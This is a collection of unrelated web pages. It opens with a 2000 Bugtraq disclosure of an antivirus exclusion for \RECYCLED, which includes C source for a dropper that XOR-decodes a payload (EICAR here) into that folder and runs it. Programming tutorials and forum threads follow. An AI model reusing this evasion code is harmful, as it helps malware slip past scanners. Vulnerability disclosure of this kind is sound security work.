[This post is provied AS IS, implying no warentees and conferring no rights.]
[House.
I!
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Bugtraq
mailing list archives
I'm using NAV 5.02.00 with all updates and the latest definitions. I have
NOT modified the preferences except to turn off the weekly scan of all
files. (Such a scan is redundant to scanning files as they are executed.
This is the "Auto-Protect" feature of NAV.)
Running the executable "virusexploit0100.exe" caused NAV to alert. It saw
the virus signature and denied access to the file. It did this from memory,
not from a directory. If normal scanning (Auto-Protect) is turned on (as it
is by default) then this exploit should not work in any version of NAV that
I'm familiar with, versions 3.0 for Windows 95 and up.
Russ
-----Original Message-----
From: Neil Bortnak [mailto:neil () BORTNAK COM]
Sent: Sunday, January 30, 2000 9:40 PM
To: BUGTRAQ () SECURITYFOCUS COM
Subject: Bypass Virus Checking
Greetings All,
I originally released this vulnerability over the Christmas holidays on
NTBugTraq. I spoke with a member of the Security Focus staff about
getting it onto the web site and was told that I should post the problem
here. During our conversation we decided that I hadn't been clear in my
last posting and that I should re-do it complete with working exploit
and source code. I hope this one makes more sense. The new version
follows.
Best Regards,
Neil Bortnak
InfoSec & Linux Consulting.
2. The Problem
--------------
By default, some virus checkers exclude the files from their batch and
on-access scanning whose pathnames begin with \RECYCLED. That is, all
files and subdirectories within the RECYCLED folder on every volume will
***NEVER BE SCANNED*** for any reason. Therefore you can store and run
malicious code from these directories without setting off the virus
checker. Since these files wouldn't have an entry in the Recycle Bin's
index file, they will never be deleted. It's a safe haven.
3. Exploitation Difficulties
----------------------------
The difficult part about making this work from an attacker's point of
view is getting the malicious code to the \RECYCLED directory. An e-mail
virus checker will catch it as it comes into the network, and on-access
scanning will catch it from the floppy drive. I've worked out two
methods for getting the files into position without setting off the
checkers.
3.1 Trojan with encoded payload
-------------------------------
In my proof-of-concept code, I took one of those fun little games that
are going around and made an "installation" program for it. The program
uses a WinZip self-installer containing 3 files: a clean version of the
fun game (hereafter known as the decoy), a setup program and a file
called winsetup.dll. The winsetup.dll file is in fact the malicious
program encoded by XORing all it's bytes with 25. By doing this the
archive passes all virus checks with flying colors. This nicely bypasses
any perimeter, e-mail, batch and on-access scans.
When executed the WinZip installer extracts the files to a temporary
directory and runs the setup program. The setup program copies the decoy
to the users desktop. If a \RECYCLED directory doesn't exist, the setup
program makes one. It then opens the winsetup.dll file for reading and
creates a new file in the \RECYCLED directory. It copies the
winsetup.dll file into it's new home 4k at a time, XORing it back to the
original malicious executable. The setup program runs the malicious code
in a hidden window and exits.
I tested this idea using Back Orifice 2000. I configured it to install
itself back into the RECYCLED directory after being run for the first
time. It worked just fine. I downloaded the trojan, executed it, and
connected to the BO2K server from another computer and none of the
intervening virus checkers complained. That's really not supposed to
happen.
3.2 On a CD-ROM
---------------
I didn't test this, but CD-ROMs are also excluded by default on some
checkers. Someone can give it a try if they like (I haven't got a
burner, but the theory is sound)..
5. General Notes
----------------
I don't see why the \RECYCLED directory is excluded. It's even more
strange when you consider that the \RECYCLER directories ARE scanned.
The \RECYCLER directory stores the Recycle Bin's files under NT. One
remark I had from an AV vendor implied that it was unreasonable to scan
files in order to catch XORed or encrypted viruses. That's probably
true, but the whole thing works because of the exclusion of the
\RECYCLED directory. That's the crux of the issue, the rest of the code
just exploits the real problem.
6. Vulnerable Scanners
----------------------
These are the results from the checker I have available.
McAfee Virus Scan
Engine: 4050
DATs: 4062
Vulnerable
Norton Anti-Virus
Engine: 5.01.01C
DATs: 01/24/00
Vulnerable
Norton Anti-Virus
Engine: 5.00.01C
DATs: 01/24/00
Not Vulnerable: Identifies EICAR.COM as Bloodhound.File.String
The problem is more sinister with NAV because the \RECYCLED directory
DOES NOT APPEAR on the exclusions list. It's hidden and can be found
only by having a look at the preferences file with a hex editor. There
are other hidden exclusions in that file, but I haven't had the
opportunity to think about possible exploits yet.
7. Solutions
------------
With McAfee, just go into the exclusions tab and delete the \RECYCLED
entry. You do that at your own risk of course, as I have no idea why it
was excluded in the first place. As for NAV, I don't really have a good
solution that doesn't involve doing creative things with a hex editor or
installing software, which is to say that I don't have a good solution.
8. The virusexploit0100.exe file
--------------------------------
Included in this e-mail is a working exploit for this vulnerability. If
you run the executable and your virus checker does not complain, check
for the existence of an EICAR.COM file in the \RECYCLED directory. The
correct \RECYCLED directory is almost certainly on your C: drive. If it
exists your virus checker is vulnerable.
To tidy up after the test, delete the decoy.exe program file that was
copied to your desktop and the \RECYCLED\EICAR.COM file.
Appendix A. Source Code
--------------
The following source files are for the programs that come in the
virusexploit0100.exe.
A.1 setup.c
-----------
/* Setup program for bypassing virus checkers */
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <dir.h>
#include <io.h>
#include <stdio.h>
#include <windows.h>
#define SOURCE_FILE ".\\winsetup.dll"
#define DEST_FILE "\\recycled\\eicar.com"
#define DECOY_FILE ".\\decoy.exe"
#define DECOY_DIR_KEY
"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders"
#define DECOY_DIR_VAL "Desktop"
#define BUFSIZE 4096
#define XORME 25
int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR
lpszCmdLine, int nCmdShow)
{
int sourcefile, destfile, bytesin,i;
char buffer[BUFSIZE],szDirName[256],szDecoyDir[512];
long lerror;
HKEY regkey;
DWORD ValSize = sizeof(szDirName); /* How annoying */
/* Find out where the desktop is so we can put the decoy there */
if((lerror =
RegOpenKeyEx(HKEY_CURRENT_USER,DECOY_DIR_KEY,0,KEY_QUERY_VALUE,®key))
!= ERROR_SUCCESS)
{
exit(0);
}
if((lerror =
RegQueryValueEx(regkey,DECOY_DIR_VAL,0,NULL,&szDirName[0],&ValSize)) !=
ERROR_SUCCESS)
{
exit(0);
}
RegCloseKey(regkey);
/* Expand the dir name on the off chance it contains ENV vars */
ExpandEnvironmentStrings(&szDirName[0],&szDecoyDir[0],sizeof(szDecoyDir));
rename(DECOY_FILE,strcat(szDecoyDir,DECOY_FILE));
/* It doesn't matter what mkdir's return code is. It'll make the dir if
it
doesn't exist or fail of it does */
mkdir("\\recycled");
/* Prepare to "decrypt" the infected executable */
if((sourcefile = open(SOURCE_FILE,O_RDONLY | O_BINARY)) == -1)
{
exit(0);
}
if((destfile = open(DEST_FILE,O_WRONLY | O_CREAT | O_EXCL | O_BINARY,
S_IREAD | S_IWRITE)) == -1)
{
exit(0);
}
/* "Decrypt" it */
while((bytesin = read(sourcefile,&buffer[0],BUFSIZE)) != 0)
{
for(i=0;i<bytesin;i++)
{
buffer[i] ^= XORME;
}
write(destfile,&buffer[0],bytesin);
}
close(sourcefile);
close(destfile);
/* Run the infected executable. You would normally use SW_HIDE here. */
WinExec(DEST_FILE,SW_SHOWNORMAL);
return(0);
}
A.2 decoy.c
-----------
/*
A lame decoy program by Neil Bortnak
*/
#include <windows.h>
int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR
lpszCmdLine, int nCmdShow)
{
char message[] = "This is the decoy program. Normally you'd use a fun
little game\nor a self-playing animation of questionable taste.";
MessageBox(NULL,&message[0],"Virus Test",MB_OK | MB_ICONINFORMATION);
return(0);
}
A.3 winsetup.dll
----------------
The unencoded form of this file is a standard EICAR.COM test string.
By Date
By Thread
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13 Tips on Designing and Building Apps More Efficiently
I've been thinking a lot lately about all the small utility apps I've programmed over the years and how I could have designed them better.
I loosely define a utility as any project designed to solve a singular and specific problem for a certain situation or business process.
For example, I built a small PHP application that accepts an export from an ecommerce store and parses the data into another format needed for a specific business process.
How could I design these better?
I normally build a utility by having an idea of a problem to solve, and I jump right in to an editor and start typing.
Some time later, I find myself wanting to steal functionality from old utilities, but when I go to reuse some code, I find out how badly I programmed the thing! Generally I don't spend a lot of time on small utilities, so they are programmed without classes, namespaces, or even OOP. Procedural FTW!
It's made me think that I should be more organized, even in tiny projects.
Here are some issues I now consider before starting any new project.
1) The basics are required!
Regardless of how tiny the utility is, practice good programming! Use proper source formatting, naming conventions and commenting. Another developer should be able to see what's going on in the code with little effort.
Avoid procedural coding where possible.
I no longer allow myself to write sloppy code, even if the project is tiny or of limited use.
2) Define the project
It doesn't matter if the utility has a single function to perform: it should be well defined before coding begins. The definition of the app will include basic declarations, like who will use it, what data it will expect, and what output it's supposed to give.
Define data sources, security concerns, and whether the app will grow with more functions over time.
Where will the utility be hosted?
The more detailed the definition, the easier it is to pick tools and stay in scope while programming it. This is especially true if you're programming for someone else!
3) Will others work on it?
If other programmers will be involved, increase your documentation and commenting. Use source control, and focus on separation of concerns in your classes and methods.
If no programmer will ever need to read your code or work on it except you, keep to the basics and don't overwhelm yourself. Just make sure you can still make sense of it!
4) Source control?
Depending on the context of the utility—such as if it is an internal project for an organization that will own the work—the code may be hosted in a public repository. If so, increase documentation; add a
readme.md file; add DocBlocks to define ownership of the code, and use Semantic Versioning.
If there are concerns about intellectual rights and who owns the code, this would require you to throw a license in there.
5) Do I have to maintain it for the long haul?
If you foresee future development, assume that others will work on the app, and that it therefore needs source control, improved documentation, and a license attached.
You may not be the person to maintain future versions if the app is internal to an organization. It's better to spend the extra time on these chores than for future programmers to dismiss you as a poor programmer.
If you write well-documented code, you may be able to come back later for a letter of recommendation. (You can't take company-owned code with you, but at least you'll have a letter confirming all your work was good!)
6) Should I create an API, library, or neither?
It's beyond the scope of this article to define APIs and libraries, but it's still a significant decision to make, because it will change the entire methodology of your coding.
Will the tool be standalone, or will you distribute it as a library, or do you want to allow others to access the functionality through an API interface?
If you go the API route, you'll want robust handling of all inputs and outputs, data validation, data conversion, security, HTTP routing, endpoints and so on. Encryption and authentication become a concern too.
7) CMF, backend, configuration?
Does the utility itself require its own management interface, separate from the front-end context?
Do you need a back end as a means of providing access for an administrator to control the utility?
The biggest problem is that any content management framework (CMF) is likely to give you a lot of bloat and features you don't need just to run a little utility. But then again, the CMF is likely to give you its own API and helper tools, which may come in handy.
Alternatively, you can store all configuration information in a single file that only admins have access to.
In most cases, I just create a
config.php file and place all the config data in there and edit manually without an interface.
8) Package management?
Package management is the cool kid, but that doesn't mean we need to hang out and be friends!
It's easy to include a few libraries without using package management.
I have only found myself using it when I need more than two or three modules, or if those modules are complex.
If you choose to use Composer modules (for PHP), then I also suggest building your utility within the rules of Composer so that your project itself can be managed via Composer. Use the PSR-4 spec, folder names, and naming conventions for classes and so forth.
9) Front-end Framework?
A complex front end might arise where the user is meant to perform many steps, upload files, fill out forms, review data, visualize data, etc. As the front end becomes more complex, you may consider using a front-end framework.
By
framework I really just mean a CSS framework like Bootstrap, Foundation, or even something bigger that includes more visual modules and JavaScript widgets, such as jQuery or others.
I usually find myself writing all CSS from scratch, but if the project grows too big, I'll do a rewrite on Foundation perhaps.
10) Do I need logging?
Will you require any kind of historical record of the actions taken by the utility? Will you need an audit trail of who did what, when, from where, and for how long?
Again, if we're in a corporate environment and the utility is meant to be used by multiple people, a log may be necessary for tracking.
Good logging libraries are available in package managers, so if needed, that could be a reason to use package management.
11) Do I need hardened error handling?
Most of the time I create utilities with no thought for error handling. I tend to program with all errors shown, and once everything works and there are no errors in my testing, I turn off showing errors at all.
You should think about whether you need complex error handling, front-end messages,
undo features, back-button management, autosave versus save button, popups and modal windows, and whether this will be tied in to a logging system.
Note that logging, auditing, error managing should be part of the early specifications. This should help you decide about using package management and frameworks right from the start.
12) Do I need extra security?
If your utility performs destructive data management or needs user authentication, then extra security is a no-brainer.
I tend to think, as soon as you need robust security, then use a framework with these features built in. You can use a framework with no management interface like Laravel, Kohana, Slim, Silex, and many others. Or use a framework with an interface like MODX, ProcessWire, or Bolt. Just make sure the framework has the features you need.
Reinventing the wheel is just not necessary. Don't write your own logging, security, user auth, database abstraction, etc. Just use a framework at that point.
13) Is it public-facing?
One big question to ask is whether the tool is only to be used internally, or if you'll allow access from the general web. If the former, is it still open internally to an organization where dozens or hundreds of people will have a crack at it?
You'll have to make sure your endpoints are well defined, and that you protect any auxiliary files and scripts as needed.
If you suspect high traffic, then you're talking caching mechanisms, especially where databases or highly dynamic data is generated. We're also talking security, logging, auth, and so on.
I would say, as a general rule, if you are creating a small utility to provide to the planet-at-large, use all common libraries, tools, methods, documentation, and even a framework.
Don't mess around when it comes to handing out public access: all bets are off, so just do everything by the books with modern, well-tested modules and frameworks!
How about you?
These are some of the things I think about before I pop open Sublime or Netbeans to start a project.
Maybe you already have a set of common tools you use for utility apps? I'd love to know what those are, because large frameworks like Laravel or full CMF/CMSes may be overkill for utilities. Do you have some smaller
micro frameworks that have
just enough features to get a utility done quickly?
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https://www.sitepoint.com/13-tips-on-designing-and-building-apps-more-efficiently/
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It's not the same without you
Join the community to find out what other Atlassian users are discussing, debating and creating.
I need assistance in creating a scripted field using Scriptrunner to count the number of sprints that an Issue is in. Can anyone help with the Groovy script or have any example of something similar?
Thank you for any help.
Eric
Hi Eric.
Katy gave you a very good example, and it only needed a very slight modification to make it work:
Here is the code for your custom field. I tested it this very morning:
import com.atlassian.jira.component.ComponentAccessor
def cf = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("Sprint")
def sprints = issue.getCustomFieldValue(cf)
if (sprints) {
return sprints
} else {
return 0
}
Make sure to set a number searcher and template!
If this answer solved your problem, please upvote it and mark it as answered so that other users can know this has been solved. We also would love your feedback in our support revisions in the ScriptRunner Addon page.
Cheers!
DYelamos
We are getting somewhere but it's not working. When I try to use your code I'm getting this error.
2017-12-13 15:22:52,204 ERROR [customfield.GroovyCustomField]: ************************************************************************************* Script field failed on issue: LSA-15446,@74b93034[id=602,rapidViewId=247,state=CLOSED,name=LSA: Wk 2017/11/13-11/17,startDate=2017-11-13T10:00:34.976-05:00,endDate=2017-11-20T10:00:00.000-05:00,completeDate=2017-11-20T11:38:53.094-05:00,sequence=546], com.atlassian.greenhopper.service.sprint.Sprint@3c72867a[id=603,rapidViewId=247,state=CLOSED,name=LSA: Wk 2017/11/20-11/24,startDate=2017-11-20T11:39:01.101-05:00,endDate=2017-11-26T11:39:00.000-05:00,completeDate=2017-11-27T11:10:27.194-05:00,sequence=565], com.atlassian.greenhopper.service.sprint.Sprint@5fd130a5[id=604,rapidViewId=247,state=CLOSED,name=LSA: Wk 2017/11/27-12/01,startDate=2017-11-27T11:11:17.937-05:00,endDate=2017-12-03T11:11:00.000-05:00,completeDate=2017-12-04T11:38:45.308-05:00,sequence=566], com.atlassian.greenhopper.service.sprint.Sprint@40469cbc[id=641,rapidViewId=247,state=CLOSED,name=LSA: Wk 2017/12/04-12/08,startDate=2017-12-04T11:39:44.474-05:00,endDate=2017-12-10T11:39:00.000-05:00,completeDate=2017-12-11T11:31:33.063-05:00,sequence=582], com.atlassian.greenhopper.service.sprint.Sprint@67ac099[id=642,rapidViewId=247,state=ACTIVE,name=LSA: Wk 2017/12/11-12/15,startDate=2017-12-11T11:38:27.821-05:00,endDate=2017-12-17T11:38:00.000-05:00,completeDate=<null>,sequence=601]]' with class 'java.util.ArrayList' to class 'java.lang.Double' at com.onresolve.scriptrunner.customfield.GroovyCustomField.getValueFromIssue(GroovyCustomField.groovy:291)
Hi Eric,
The script that Daniel posted will return a List with the Sprints.
So in your case you will need the size of this list. So try with this one
import com.atlassian.greenhopper.service.sprint.Sprint
import com.atlassian.jira.component.ComponentAccessor
def cf = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("Sprint")
def sprints = issue.getCustomFieldValue(cf) as List <Sprint>
sprints?.size()
And I suppose you have already configured the template and the searcher to be Number.
Please let us know how this script goes.
Regards, Thanos
Thanks Thanos, I tried that and we are getting somewhree. When I look at the code checker for this I see this error.
[Static type checking] - Cannot return value of type fava.lang.Object on method returning type java.lan.double
line 6, column 12.
Hey Eric,
I intentionally included type casting for the custom field's return value so you will not get this "false" alarm - is because of the Static Type Checking.
So I would not expect this to happen in the above script.
Can you please double check that you configured the scripted field with
Searcher: Number Searcher
Template: Number Field
Also did you try to preview it ?
Yes the scripted field is using Number Searcher and Number Field.
When I preview I just noticed that for some projects I get that error during preview but others I do not.
Eric, this could be because some projects aren't agile maybe?
With such a small amount of information it's quite hard to try to diagnose your problem.
Daniel,
I'm sorry about not getting back to you. The project is Agile. What other information do you need? I just tried running it again and here is the error.
Time (on server): Mon Jan 15 2018 07:58:55 GMT-0600 (Central Standard Time)
The following log information was produced by this execution. Use statements like:log.info("...") to record logging information.
2018-01-15 08:58:55,326 ERROR [customfield.GroovyCustomField]: ************************************************************************************* Script field failed on issue: WSA-1612,@76b9b99e[id=716,rapidViewId=313,state=ACTIVE,name=WSA: Wk 2018/1/08-1/14,startDate=2018-01-08T08:52:09.835-05:00,endDate=2018-01-14T08:52:00.000-05:00,completeDate=<null>,sequence=716]]' with class 'java.util.ArrayList' to class 'java.lang.Double' at com.onresolve.scriptrunner.customfield.GroovyCustomField.getValueFromIssue(GroovyCustomField.groovy:293)
Hi Eric,
There seems to be a similar question here:
Does that work for you?
Katy
That's exactly what I need but they do not show the code, which is what I need help with.
I have looked at that one in the past Katy but I was not able to get it working. I'm specifically wondering if someone can help with code for the number of sprints that an issue is in .
It is deleted now, I am new to this and don't have experience with Groovy. When I put the code in the groovy window the coding checker flagged it with errors. So I opened a ticket with Adaptavist and they told me to create a post here.
Hi Eric,
We would need to see the code you tried and the errors you are referencing, then we can figure out what may be wrong. Please post it here once you have it again.
Cheers,
Katy
I think we did something similar a while back, albeit neither in groovy or relating to the sprint field - but what we did was to first ensure that any changes to the field were logged to the change history log and then when we needed to calculate the value we iterate across the change log counting the changes to the field ... for efficiency I seem to remember writing that value to the index.
I know that seems rather involved, but sometimes you have to work around Jira rather than.
|
https://community.atlassian.com/t5/Adaptavist-questions/Create-a-scripted-field-to-count-the-number-of-sprints-a-issue/qaq-p/686856
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Python OpenCV returns wrong FPS
0 down vote favorite
I recorded 1 minute video using my webcam and then I used that video in a python program and checked the frame rate per second using opencv, but it returned false fps. It returned 1000 fps and 60883 total frames. I used following code to find above two.
import cv2 cap = cv2.VideoCapture(filename) frames_per_sec = cap.get(cv2.CAP_PROP_FPS) total_frames = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))
While total number of frames correctly read by the following statement were around 1800.
ret, frame = cap.read()
Now how do I correctly find fps of a video file recorded through webcam in python?
I tested it. Returned 30 fps. Are you using linux using raspberry pi?
Here is the webm file that I'm using:... For this file it returns 1000 fps.
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https://answers.opencv.org/question/204632/python-opencv-returns-wrong-fps/
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Introduction to Generics in Java
Generics in Java arethe advanced feature that helps to achieve code reusability and type safety. The code reusability functionality in java is managed by defining generic classes, interfaces, constructors, methods. Generic uses the data type declaration for type safety feature that helps to eliminate the run time error. The generic in java is implemented using the angular bracket ‘<>’ symbol and the type parameter is defined in the bracket. The Type parameters such as ‘T’ for type, ‘E’ for element, ‘N’ for number, ’K’ for key.‘V’ for value. An example of a generic class with Type T parameter is ‘public class DemoGenericClass<T> {…}’
What is Generics in Java?
Generics can be defined as a way to achieve code reusability by defining generic classes, interfaces, constructors and methods that can be used with different data types and also achieve type safety by declaring the data type being used in the implementation before-hand, therefore eliminating the chances of a run-time error.
How are generics implemented in Java?
Generics are implemented using angular brackets “<>”. The brackets enclose the type parameter “T” within them. Example, <T>. The type parameter “T” is a place holder which indicates that a data type will be assigned to it at run time.
For example, a generic class will be defined as:
public class MyGenericClass<T> {…}
The following are the standard type parameters:
- T: Type
- E: Element
- N: Number
- K: Key
- V: Value
S, U, V and so on are used to define second, third and fourth parameters respectively in case multi-parameter are being used.
Understanding Generics in Java
By now you might be wondering what is type safety and how does it work? Or how are generic classes, interfaces, constructors and methods any different from our regular classes and methods that make them reusable? Let’s find out.
Java being a statically typed language requires you to declare the “type” that is the data type of the value being held by the variable before using it.
Example:
String myString =”eduCBA”;
Here “String” is the data type, “myString” is the variable that will hold a value whose type is String.
Now, if you try to pass a Boolean value in place of a string, for example:
String myBooleanStr = true;
You will immediately get a compile-time error stating “Type mismatch: cannot convert from boolean to String”.
How do we Achieve Code Reusability with Generics?
Now, let us define a regular method:
public static void welcome(String name){
System.out.println("welcome to " + name);
}
This method can be invoked only by passing a string parameter. For example:
welcome(“eduCBA”);
Its output will be “welcome to eduCBA”.
However, you cannot invoke this method bypassing any other data types such as integer or boolean. If you try to do that, you will be prompted with a compile-time error stating “The method welcome(String) in the type Runner is not applicable for the arguments (boolean)”. Meaning you cannot pass any other data type to a method which only accepts a string as a parameter.
This also means if you wish to invoke a similar method for a different data type then you will have to write a new method that accepts the required data type as a parameter. This feature of re-writing methods with parameters of different data types is also known as method overloading. The major drawback of this is it increases the size of your code.
However, we could also use Generics to re-write the above method and use it for any data type we require.
Defining a Generic method:
public static <T> void welcome(T t){
System.out.println("it is " + t);
}
Note: Here “t” is an object of type T. T will be assigned the data type that is being used to invoke the method.
Now you can reuse this method by invoking it for a string when required or a boolean or an integer or any other data type.
welcome("educate");
Integer Myint = 1;
welcome(Myint)
welcome(true);
The above statements will provide the below output:
It is Educa
It is 1
That is true
Therefore, by using generics here we are able to re-use our method for different data types.
How do we Achieve Type Safety using Generics?
One of the major differences between Arrays and Collection is that Arrays can store only homogeneous data, whereas Collections can store heterogeneous data. That is Collections can store any user-defined data type/ objects.
Note: Collections can only hold objects (user-defined data type) and not a primitive data type. In order to work with primitive data, type collections make use of wrapper classes.
Now, let us consider an ArrayList.
ArrayList myList = new ArrayList();
Let us add data of type String, Integer and Double to the ArrayList object.
myList.add("eduCBA");
myList.add(1);
myList.add(5.2);
On printing the ArrayList object we can see that it holds the following values: [eduCBA, 1, 5.2].
Now if you wish to retrieve these values into variables then, you will need to typecast them.
String someStr = (String)myList.get(0);
Integer someInt = (Integer)myList.get(1);
Double someFlt = (Double)myList.get(2);
In case you do not typecast, you will be prompted with a compile-time error stating “Type mismatch: cannot convert from Object to String”.
From this, you can conclude that while retrieving the objects from your ArrayList, you need to typecast it to their respective types. The question that arises here is how will you know which data type to typecast it to? In real time your ArrayList will contain thousands of record and typecasting it to different data types for every individual object will not be an option. You might end up typecasting it to the wrong data type. What happens then?
This time you will not get a compile time error but will throw a runtime error stating “Exception in thread “main” java.lang.ClassCastException: java.lang.Integer cannot be cast to java.lang.String at com.serviceClasess.Runner.main(Runner.java:43)”.
Since we can’t guarantee the type of data present inside a collection (in this case ArrayList), they are considered not safe to use with respect to type. This is where generics come into play to provide type safety.
Using ArrayList with Generics:
ArrayList<String> myList = new ArrayList<String>();
Notice that inside angular brackets “<>”, String type is specified which means this particular implementation of ArrayList can only hold String type data. If you try to add any other data type to it, it will simply throw compile time error. Here you have made your ArrayList type-safe by eliminating its chance of adding a different data type other than “String”.
Now that you have specified the data type that is allowed to be added to your collection with the help of generics, you no longer need to typecast it while retrieving your data. That is you can simply retrieve your data by writing:
String someStr = myList.get(0);
How does Generics in Java make working so easy?
It helps make your collections type-safe thus making sure your code doesn’t fail at a later point due to a run time exception. It also saves the coder from having to typecast every object in the collection making the code development faster and easier. By making use of generic classes and methods one can also reuse the code as per ones required data type during implementation.
What else can you do with Generics in Java?
So far we have seen how we can achieve type safety and code reusability with generics. Now let us look at the other features generics provide. They are:
- Bounded & multiple bounded types
- Type wildcards
Bounded Type: In case of a bounded type the data type of a parameter is bounded to a particular range. This is achieved with the help of the “extends” keyword.
For Example, let us consider a generic class with a bounded type parameter that extends Runnable interface:
class myGenericClass<T extends Runnable>{}
Now, while creating its object in another class:
myGenericClass<Thread> myGen = new myGenericClass<Thread>();
The above statement will execute perfectly without any errors. That is in case of the bounded type you can pass the same class type or its child class type. Also, you can bind the parameter type to an interface and pass its implementations when invoking it, as in the case of our example above.
What happens if you try to use any other type of parameter?
myGenericClass<Integer> myGen = new myGenericClass<Integer >();
In the above case, you will get a compile-time error stating “Bound mismatch: The type Integer is not a valid substitute for the typecast<T extends Runnable> of the type myGenericClass<T>”.
Multiple bounded types: In case of multiple bounded types we can bind the parameter data type to more than one type. For example,
Class myGeneric<T extends Number & Runnable>{}
In this case, you can pass any type which extends Number class and implements Runnable interface. However, when using multiple bounded types few things should be noted:
- We cannot extend more than one class at a time.
- We can extend any number of interfaces at a time that is there is no limit for interfaces.
- The class name should always come first followed by the interface name if not it will result in a compile-time error.
Type Wildcards: They are represented by “?” – question mark symbol. It makes use of two main keywords:
extends (to define upper bound) and super (to define lower bounds).
For example,
ArrayList<? extends T> al
This ArrayList object “al” will hold any data of type T and all its subclasses.
ArrayList<? super T> al
This ArrayList object “al” will hold any data of type T and all its superclasses.
Advantages of Generics in Java
1. Flexibility: Generics provides our code with the flexibility to accommodate different data types with the help of generic classes and methods.
2. Code Maintenance and Reusability: Due to generic classes and methods one need not re-write the code, in case of a change in requirements at a later stage making the code easier to maintain and reuse.
3. Type safety: Provides type safety to the collection framework by defining the data type the collection can hold beforehand and eliminating any chances of failure at run time due to ClassCastException.
4. Eliminating the need to typecast: Since the data types being held by the collections are already determined one need not typecast it at the time of retrieval. This reduces the length of the code and also reduces a coder’s effort.
Generics in Java skills
In order to work with Generics, you should be well versed with the basics of Java. You should understand how type checking and type casting works. Thorough knowledge of other concepts such as method overloading, the relationship between parent and child classes, interfaces and their implementations are necessary. Also understanding the difference between primitive data types (system-defined data type) and objects (user-defined data type) is crucial when it comes to working with the collection framework.
Why should we use Generics in Java?
Using generics makes our code more maintainable as it reduces the need to rewrite data type-specific code every time there is a change in requirement. By using generics bounded type you could restrict the data type and at the same time provide flexibility to your code by defining its range. Your code is less likely to fail at a later point as it provides type safety making your code less error-prone.
Scope for Generics in Java
Generics scope is limited to compile time. That means generics concept is applicable only at compile time but not at run time. For Example,
ArrayList myList = new ArrayList<Integer>();
ArrayList myList = new ArrayList<Float>();
ArrayList myList = new ArrayList<Double>();
ArrayList myList = new ArrayList<Boolean>();
Here all the above four statements are one and the same. They will allow the addition of any type of data to the list object.
Conclusion
Generics makes coding easy for a coder. It diminishes the chances of encountering ClassCastException at run time by providing strong type-checking. Completely eliminates the need for type casting which means less code needs to be written. It provides us with the feasibility to develop generic algorithms that are independent of the data type they are working with.
Recommended Articles
This has been a guide to What is Generics in Java?. Here we discuss the skills, scope, working, understanding and advantage. You can also go through our other suggested articles to learn more –
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https://www.educba.com/what-is-generics-in-java/?source=leftnav
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Building the Right Environment to Support AI, Machine Learning and Deep Learning
Watch→
Simple applet:
import java.applet.*;
import java.awt.*;
public class FirstApplet extends Applet
{ public void paint(Graphics g)
{ g.drawString("Hello world",25,50);
}
}
Graphics
drawString
The source code states that a variable g of type Graphics is passed to method paint, but it does not say that Graphics is subclassed and instantiated, which is what must happen for g to have something to point at.
g
paint
That is, there is a semantic gap; something is happening beyond what the code actually tells us!
Can you explain that there is not a semantic gap here? That Java is indeed an
unambiguous language? The line "paint(Graphics g)" only says that a variable of type Graphics is passed, which should result in a compile error.
paint(Graphics g)
Answer: Maybe I'll have to join the legions of "experts" who have misunderstood
your question, but I'll give it a shot anyway.
It seems to me that the actual graphics context associated with your
applet will be an instance of some class that extends the abstract
Graphics class, and will provide an implementation for drawString():
graphics
drawString()
class AppletGraphics extends Graphics {
public void drawString(...) {...}
// etc.
}
Since specialization is implicit, g will automatically be cast as an instance of AppletGraphics, and the call to drawString(...) will be bound to Applet.drawString(...). In other words, the call to drawString() expands into the call:
AppletGraphics
drawString(...)
Applet.drawString(...)
(AppletGraphics)g.draw.
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http://www.devx.com/tips/Tip/23240
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A Little C Primer/C File-IO Through Library Functions.
All these library functions depend on definitions made in the "stdio.h" header file, and so require the declaration:
#include <stdio.h>
C documentation normally refers to these functions as performing "stream I/O", not "file I/O". The distinction is that they could just as well handle data being transferred through a modem as a file, and so the more general term "data stream" is used rather than "file". However, we'll stay with the "file" terminology in this document for the sake of simplicity.
The "fopen()" function opens and, if need be, creates a file. Its syntax is:
<file pointer> = fopen( <filename>, <access mode> );
The "fopen()" function returns a "file pointer", declared as follows:
FILE *<file pointer>;
The file pointer will be returned with the value NULL, defined in "stdio.h", if there is an error. The "access modes" are defined as follows:.
The "filename" is simply a string of characters.
It is often useful to use the same statements to communicate either with files or with standard I/O. For this reason, the "stdio.h" header file includes predefined file pointers with the names "stdin" and "stdout". There's no 't need to do an "fopen()" on them -- they can just be assigned to a file pointer:
fpin = stdin; fpout = stdout;
-- and any following file-I/O functions won't know the difference.
The "fclose()" function simply closes the file given by its file pointer parameter. It has the syntax:
fclose( fp );
The "fseek()" function call allows the byte location in a file to be selected for reading or writing. It has the syntax:
fseek( <file_pointer>, <offset>, <origin> );
The offset is a "long" and specifies the offset into the file, in bytes. The "origin" is an "int" and is one of three standard values, defined in "stdio.h":
SEEK_SET Start of file. SEEK_CUR Current location. SEEK_END End of file.
The "fseek()" function returns 0 on success and non-zero on failure.
The "rewind()", "rename()", and "remove()" functions are straightforward. The "rewind()" function resets an open file back to its beginning. It has the syntax:
rewind( <file_pointer> );
The "rename()" function changes the name of a file:
rename( <old_file_name_string>, <new_file_name_string> );
The "remove()" function deletes a file:
remove( <file_name_string> )
The "fprintf()" function allows formatted ASCII data output to a file, and has the syntax:
fprintf( <file pointer>, <string>, <variable list> );
The "fprintf()" function is identical in syntax to "printf()", except for the addition of a file pointer parameter. For example, the "fprintf()" call in this little program:
/* fprpi.c */ #include <stdio.h> void main() { int n1 = 16; float n2 = 3.141592654f; FILE *fp; fp = fopen( "data", "w" ); fprintf( fp, " %d %f", n1, n2 ); fclose( fp ); }
-- stores the following ASCII data:
16 3.14159
The formatting codes are exactly the same as for "printf()":
%d decimal integer %ld long decimal integer %c character %s string %e floating-point number in exponential notation %f floating-point number in decimal notation %g use %e and %f, whichever is shorter %u unsigned decimal integer %o unsigned octal integer %x unsigned hex integer
Field-width specifiers can be used as well. The "fprintf()" function returns the number of characters it dumps to the file, or a negative number if it terminates with an error.
The "fscanf()" function is to "fprintf()" what "scanf()" is to "printf()": it reads ASCII-formatted data into a list of variables. It has the syntax:
fscanf( <file pointer>, <string>, <variable list> );
